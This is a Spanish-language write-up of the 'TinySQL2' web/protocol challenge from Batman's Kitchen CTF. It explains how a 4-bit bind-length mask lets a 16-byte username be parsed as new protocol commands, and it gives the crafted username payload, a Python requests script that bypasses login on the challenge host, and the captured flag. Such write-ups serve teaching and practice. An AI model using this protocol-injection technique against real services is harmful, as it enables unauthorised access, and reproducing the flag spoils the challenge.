Datos del reto
| Campo | Valor |
|---|---|
| CTF | Batman's Kitchen CTF |
| Reto | TinySQL2 |
| Categoría | Web / Protocol |
| Contexto | "Surely you can't beat a prepared statement. DO NOT BRUTE FORCE THIS" |
| Flag | bkctf{sql_1nj3ct10n_0ver_th3_w1re} |
Descripción del reto
Este reto parecía una historia típica de login con prepared statements, pero el fallo no estaba en la consulta SQL. El problema real estaba un poco más abajo: en cómo el cliente codificaba los bind dentro del protocolo binario que usaba para hablar con el backend TinySQL.
Reconocimiento
La aplicación web era Flask y la flag terminaba en /forum/post/3, accesible solo con una sesión válida. Revisando el código, el login se hacía con algo como:
conn.prepare("S:?:?", (user, pass))
Eso descartaba una inyección SQL clásica. Tocaba mirar el servidor y el cliente TinySQL.
El protocolo era muy simple: cada mensaje llevaba un byte de tipo, un byte de longitud y luego los datos. Los comandos importantes eran:
| Tipo | Uso |
|---|---|
p |
preparar statement |
b |
enviar bind |
x |
ejecutar |
El flujo normal del login era:
- preparar
S:?:? - enviar
user - enviar
pass - ejecutar
Análisis
La pieza rota estaba en el cliente, dentro de la longitud de cada bind:
STMT_SIZE_MASK = 0x0F
barr.append(len(i) & self.STMT_SIZE_MASK)
Eso significa que la longitud real se recortaba a 4 bits. En la práctica, cualquier string de 16 bytes terminaba enviándose con longitud 0.
¿Qué pasaba entonces?
- El servidor recibía el comando
b. - Leía longitud
0. - No consumía ningún byte de los datos reales.
- Los 16 bytes del username quedaban pendientes en el socket.
En la siguiente vuelta del loop, esos 16 bytes ya no se interpretaban como datos del usuario, sino como nuevos comandos del protocolo. Ahí estaba la vulnerabilidad: no era SQL injection, era una inyección en el protocolo.
Además, el servidor limpiaba binds cuando ya había 2 valores y llegaba otro bind, así que se podía manipular el estado interno para que al final el execute usara solo el valor que nos interesaba.
Resolución
La idea fue aprovechar esos 16 bytes del username para reconfigurar el flujo antes de que el backend procesara el password real.
La cadena usada fue esta:
username = "p\x03S:?b\x03ABCb\x01Db\x01E"
password = "0"
Ese bloque de 16 bytes hace lo siguiente:
- Re-prepara el statement como
S:?, o sea, búsqueda por ID y ya no por usuario/contraseña. - Mete varios
bindde relleno para dejar el array interno en un estado controlado. - Cuando llega el password legítimo, el servidor limpia los binds anteriores y se queda con
["0"].
Al ejecutar, TinySQL interpreta ese 0 como userId, devuelve el registro del usuario correspondiente y la aplicación web crea la sesión.
Con la sesión activa, solo quedaba pedir el post con la flag:
import re
import requests
TARGET = "https://tinysql-2-dbec1607401161a1.instancer.batmans.kitchen"
session = requests.Session()
session.post(
f"{TARGET}/login",
data={
"user": "p\x03S:?b\x03ABCb\x01Db\x01E",
"pass": "0",
},
allow_redirects=False,
)
resp = session.get(f"{TARGET}/forum/post/3")
print(re.search(r"bkctf\\{[^}]+\\}", resp.text).group(0))
Con eso el login entraba como un usuario válido y la flag aparecía en la respuesta del foro.
Flag
bkctf{sql_1nj3ct10n_0ver_th3_w1re}